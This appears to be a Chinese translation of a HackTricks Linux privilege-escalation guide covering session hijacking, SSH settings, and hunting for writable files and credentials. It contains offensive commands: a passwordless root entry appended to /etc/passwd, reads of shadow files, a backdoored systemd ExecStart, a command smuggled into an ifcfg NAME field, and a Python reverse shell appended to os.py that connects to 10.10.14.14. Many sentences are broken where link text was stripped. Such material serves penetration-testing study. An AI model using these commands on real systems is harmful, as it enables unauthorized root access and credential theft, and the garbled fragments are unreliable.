在旧版本中,您可能会劫持不同用户(root)的某些shell会话。 在最新版本中,您只能连接到自己用户的screen会话。但是,您可能会在会话中找到有趣的信息。

screen会话劫持

列出screen会话

screen -ls
screen -ls <username>/ # Show another user' screen sessions

附加到会话

To attach to a session, you can use tools like screen, tmux, or byobu. These tools allow you to connect to an existing terminal session, which can be useful for maintaining access to a target system even if the original SSH session is terminated.

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux会话劫持

这是旧版tmux版本的一个问题。我无法劫持由root创建的tmux会话(v2.1)作为非特权用户。

列出tmux会话

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

附加到会话

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

查看HTB的情人节盒子作为一个例子。

SSH

Debian OpenSSL可预测PRNG - CVE-2008-0166

SSH有趣的配置值

  • PasswordAuthentication: 指定是否允许密码身份验证。默认值为 no。

  • PubkeyAuthentication: 指定是否允许公钥身份验证。默认值为 yes。

  • PermitEmptyPasswords: 当允许密码身份验证时,指定服务器是否允许登录到具有空密码字符串的帐户。默认值为 no。

PermitRootLogin

指定是否允许root使用ssh登录,默认为 no。可能的值:

  • yes: root可以使用密码和私钥登录

  • without-password 或 prohibit-password: root只能使用私钥登录

  • forced-commands-only: root只能使用私钥登录,如果指定了命令选项

  • no : 否

AuthorizedKeysFile

指定包含可用于用户身份验证的公钥的文件。它可以包含诸如%h这样的令牌,该令牌将被主目录替换。您可以指定绝对路径(从/开始)或相对于用户主目录的相对路径。例如:

AuthorizedKeysFile    .ssh/authorized_keys access

那个配置将指示,如果您尝试使用用户“testusername”的私钥登录,ssh将会将您的密钥的公钥与位于/home/testusername/.ssh/authorized_keys和/home/testusername/access中的公钥进行比较。

ForwardAgent/AllowAgentForwarding

SSH代理转发允许您使用本地SSH密钥,而不是让密钥(没有密码!)保留在服务器上。因此,您将能够通过ssh跳转到一个主机,然后从那里使用位于您初始主机上的密钥****跳转到另一个主机。

您需要在$HOME/.ssh.config中设置此选项,如下所示:

Host example.com
ForwardAgent yes

注意,如果Host是*,每次用户跳转到另一台机器时,该主机将能够访问密钥(这是一个安全问题)。

文件/etc/ssh_config可以覆盖这个选项,允许或拒绝这个配置。 文件/etc/sshd_config可以允许或拒绝ssh-agent转发,关键字是AllowAgentForwarding(默认是允许)。

如果发现在一个环境中配置了转发代理,请阅读以下页面,您可能可以利用它来提升权限:

有趣的文件

配置文件

文件/etc/profile和/etc/profile.d/目录下的文件是用户运行新shell时执行的脚本。因此,如果您可以编写或修改其中任何一个,您就可以提升权限。

ls -l /etc/profile /etc/profile.d/

如果发现任何奇怪的配置文件,应检查其中是否包含敏感信息。

Passwd/Shadow Files

根据操作系统的不同,/etc/passwd 和 /etc/shadow 文件的名称可能不同,或者可能有备份文件。因此建议找到所有这些文件,并检查是否可以读取这些文件,以查看文件中是否包含哈希值:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

在某些情况下,您可以在 /etc/passwd(或等效文件)中找到密码哈希值

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

可写的 /etc/passwd

首先,使用以下命令之一生成密码。

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

然后添加用户 hacker 并添加生成的密码。

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

例如:hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

您现在可以使用su命令与hacker:hacker一起使用

或者,您可以使用以下行添加一个没有密码的虚拟用户。 警告:这可能会降低机器当前的安全性。

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

注意:在BSD平台上,/etc/passwd 位于 /etc/pwd.db 和 /etc/master.passwd,/etc/shadow 被重命名为 /etc/spwd.db。

你应该检查是否可以写入一些敏感文件。例如,你能写入一些服务配置文件吗?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

例如,如果机器正在运行一个tomcat服务器,并且你可以修改位于 /etc/systemd/ 内的 Tomcat 服务配置文件,那么你可以修改以下行:

ExecStart=/path/to/backdoor
User=root
Group=root

检查文件夹

以下文件夹可能包含备份或有趣的信息:/tmp,/var/tmp,/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root(可能无法读取最后一个,但尝试一下)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

奇怪的位置/被拥有的文件

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

最近几分钟内修改的文件

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite数据库文件

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

隐藏文件

find / -type f -iname ".*" -ls 2>/dev/null

路径中的脚本/可执行文件

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web文件

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

备份

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

已知包含密码的文件

日志

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Shell 文件

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

通用凭证搜索/正则表达式

可写文件

Python库劫持

如果您知道一个Python脚本将从哪里执行,并且您可以在该文件夹中写入或者您可以修改Python库,您可以修改OS库并在其中设置后门(如果您可以在Python脚本将要执行的位置写入,请复制并粘贴os.py库)。

要设置库后门,只需在os.py库的末尾添加以下行(更改IP和端口):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate利用

logrotate中的一个漏洞允许具有对日志文件或其父目录的写权限的用户可能获得提升的特权。这是因为logrotate通常以root身份运行,可以被操纵以执行任意文件,特别是在_/etc/bash_completion.d/_等目录中。重要的是要检查权限不仅在_var/log_中,还要在应用日志轮换的任何目录中。

此漏洞影响logrotate版本3.18.0及更旧版本

/etc/sysconfig/network-scripts/ (Centos/Redhat)

如果出于任何原因,用户能够写入一个ifcf-<whatever>脚本到_/etc/sysconfig/network-scripts_ 或可以调整现有脚本,那么您的系统已被入侵。

网络脚本,例如_ifcg-eth0_用于网络连接。它们看起来像.INI文件。但是,在Linux上,它们是通过Network Manager(dispatcher.d)~源~的。

在我的情况下,这些网络脚本中的NAME=属性未被正确处理。如果名称中有空格,系统会尝试执行空格后面的部分。这意味着第一个空格后的所有内容都将以root身份执行。

例如:/etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

init、init.d、systemd 和 rc.d

目录 /etc/init.d 存放着 System V init(SysVinit)的脚本,这是经典的 Linux 服务管理系统。它包括用于 start、stop、restart 以及有时 reload 服务的脚本。这些脚本可以直接执行,也可以通过在 /etc/rc?.d/ 中找到的符号链接执行。在 Redhat 系统中的另一条路径是 /etc/rc.d/init.d。

另一方面,/etc/init 与 Upstart 相关联,这是由 Ubuntu 引入的较新的服务管理,使用配置文件来执行服务管理任务。尽管过渡到 Upstart,由于 Upstart 中的兼容性层,SysVinit 脚本仍然与 Upstart 配置一起使用。

systemd 是一种现代化的初始化和服务管理器,提供高级功能,如按需启动守护进程、自动挂载管理和系统状态快照。它将文件组织到 /usr/lib/systemd/ 用于分发软件包,以及 /etc/systemd/system/ 用于管理员修改,简化了系统管理过程。

其他技巧

NFS 特权升级

从受限制的 Shell 中逃逸

Cisco - vmanage

内核安全保护

更多帮助

Linux/Unix 特权升级工具

参考资料

您可以在以下位置找到一份良好的易受攻击内核列表以及一些已经编译好的利用程序: 和 。 其他一些可以找到编译好的利用程序的网站包括: 和

(仅在受害者中执行,仅检查内核2.x的漏洞利用)

始终检查可能正在运行的。Linpeas通过检查进程的命令行中的--inspect参数来检测这些调试器。 还要检查您对进程二进制文件的权限,也许您可以覆盖某人的权限。

您可以使用像这样的工具来监控进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时非常有用。

ProcDump是Sysinternals工具套件中经典ProcDump工具的Linux重新设计版本。在获取。

(需要root权限)- 您可以手动删除root要求,并转储您拥有的进程

中的脚本 A.5(需要root权限)

该工具将从内存和一些知名文件中窃取明文凭证。它需要root权限才能正常工作。

Search Regexes/

您也可以使用 (这将监视并列出每个启动的进程)。

请注意,如果您对 Docker 套接字具有写权限,因为您在 docker 组内,您有。如果。

一些Linux版本受到一个bug的影响,允许具有UID > INT_MAX的用户提升权限。更多信息: , 和 . 利用方法:使用 systemd-run -t /bin/bash

如果不介意制造很多噪音且计算机上存在su和timeout二进制文件,你可以尝试使用来暴力破解用户。 带有-a参数也可以尝试暴力破解用户。

对策:

是一个经过筛选的Unix二进制文件列表,攻击者可以利用其中的函数来绕过本地安全限制。是类似的,但适用于只能在命令中注入参数的情况。

如果你可以访问sudo -l,你可以使用工具来检查是否找到了如何利用任何sudo规则的方法。

如果所有这些要求都满足,你可以使用以下方式提升特权:

如果您对该文件夹或文件夹中创建的任何文件具有写权限,则可以使用二进制文件 为用户和PID创建sudo令牌。 例如,如果您可以覆盖文件 /var/run/sudo/ts/sampleuser,并且您以该用户的PID 1234拥有一个shell,您可以执行以下操作获取sudo特权,而无需知道密码:

请注意,如果用户使用不同的shell(不是bash),你将需要修改其他文件以添加新路径。例如 修改了 ~/.bashrc、~/.zshrc、~/.bash_profile。你可以在中找到另一个示例。

访问控制列表(ACL)代表了可覆盖传统 ugo/rwx 权限的次级自由权限层。这些权限通过允许或拒绝对不是所有者或组成员的特定用户的权限,增强了对文件或目录访问的控制。这种粒度确保了更精确的访问管理。更多详细信息可以在找到。

在基于Debian的系统(如Ubuntu,Kubuntu等)上生成的所有SSL和SSH密钥在2006年9月至2008年5月13日之间可能受到此漏洞的影响。 当在这些操作系统上创建新的ssh密钥时,会出现此漏洞,因为只有32,768种变化是可能的。这意味着所有可能性都可以被计算出来,拥有ssh公钥后,您可以搜索相应的私钥。您可以在这里找到计算出的可能性:

阅读 的代码,它搜索可能包含密码的多个文件。 另一个有趣的工具是:,它是一个开源应用程序,用于检索存储在Windows、Linux和Mac本地计算机上的许多密码。

如果你能读取日志,可能会发现其中包含有趣/机密信息。日志越奇怪,可能就越有趣。 此外,一些“不好的”配置(后门?)的审计日志可能允许你在审计日志中记录密码,如本文所述:。

为了读取日志组 将非常有帮助。

您还应检查包含单词“password”在其名称或内容中的文件,并在日志中检查IP和电子邮件,或哈希正则表达式。 我不会在这里列出如何执行所有这些操作,但如果您感兴趣,可以查看执行的最后检查。

有关漏洞的更详细信息可以在此页面找到:。

您可以利用这个漏洞。

此漏洞与 **(nginx日志)**非常相似,因此每当发现可以更改日志时,请检查谁正在管理这些日志,并检查是否可以通过符号链接替换日志以提升特权。

漏洞参考:

查找 Linux 本地特权升级向量的最佳工具:

LinEnum: (-t 选项) Enumy: Unix Privesc Check: Linux Priv Checker: BeeRoot: Kernelpop: 枚举 Linux 和 MAC 中的内核漏洞 Mestaploit: multi/recon/local_exploit_suggester Linux Exploit Suggester: EvilAbigail (物理访问): 更多脚本的汇编:

\

\

\

\

\

\

\

\

从零开始学习 AWS 黑客技能,成为专家 !

支持 HackTricks 的其他方式:

如果您想在 HackTricks 中看到您的公司广告或下载 PDF 版本的 HackTricks,请查看!

获取

探索,我们的独家收藏品

加入 💬 或 或在 Twitter 🐦 ** 上关注我们。**

通过向 和 github 仓库提交 PR 来分享您的黑客技巧。

🐧
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
https://github.com/lucyoa/kernel-exploits
exploitdb sploits
https://github.com/bwbwbwbw/linux-exploit-binaries
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py
Docker Security
electron/cef/chromium调试器,您可以滥用它来提升权限
pspy
https://github.com/Sysinternals/ProcDump-for-Linux
https://github.com/Sysinternals/ProcDump-for-Linux
https://github.com/hajzer/bash-memory-dump
https://www.delaat.net/rp/2016-2017/p97/report.pdf
https://github.com/huntergregal/mimipenguin
truffleproc
Wildcards Spare tricks
pspy
Socket Command Injection
Docker Security
Containerd (ctr) Privilege Escalation
RunC Privilege Escalation
D-Bus Enumeration & Command Injection Privilege Escalation
here
here
here
Interesting Groups - Linux Privesc
su-bruteforce
Linpeas
https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
执行的有效载荷示例。
GTFOBins
GTFOArgs
FallOfSudo
https://github.com/nongiach/sudo_inject
write_sudo_token
sudo-piggyback
bashdoor.py
ld.so privesc exploit example
Linux Capabilities
这里
https://github.com/g0tmi1k/debian-ssh
SSH Forward Agent exploitation
linPEAS
LaZagne
https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/
linpeas
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
logrotten
CVE-2016-1247
https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from Jails
Cisco - vmanage
https://github.com/a13xp0p0v/kconfig-hardened-check
https://github.com/a13xp0p0v/linux-kernel-defence-map
静态impacket二进制文件
LinPEAS
https://github.com/rebootuser/LinEnum
https://github.com/luke-goddard/enumy
http://pentestmonkey.net/tools/audit/unix-privesc-check
www.securitysift.com/download/linuxprivchecker.py
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
https://github.com/spencerdodd/kernelpop
https://github.com/mzet-/linux-exploit-suggester
https://github.com/GDSSecurity/EvilAbigail
https://github.com/1N3/PrivEsc
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i
https://www.linux.com/news/what-socket/
https://muzec0318.github.io/posts/PG/peppo.html
https://www.linuxjournal.com/article/7744
https://blog.certcube.com/suid-executables-linux-privilege-escalation/
https://juggernaut-sec.com/sudo-part-2-lpe
https://linuxconfig.org/how-to-manage-acls-on-linux
https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
https://www.linode.com/docs/guides/what-is-systemd/
htARTE(HackTricks AWS 红队专家)
订阅计划
官方 PEASS & HackTricks 商品
PEASS 家族
NFTs
Discord 群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
docker API 在某个端口上监听,您也可能能够对其进行妥协
GTFOArgs
GTFOBins
Logo
Logo
更多提升权限的方法
adm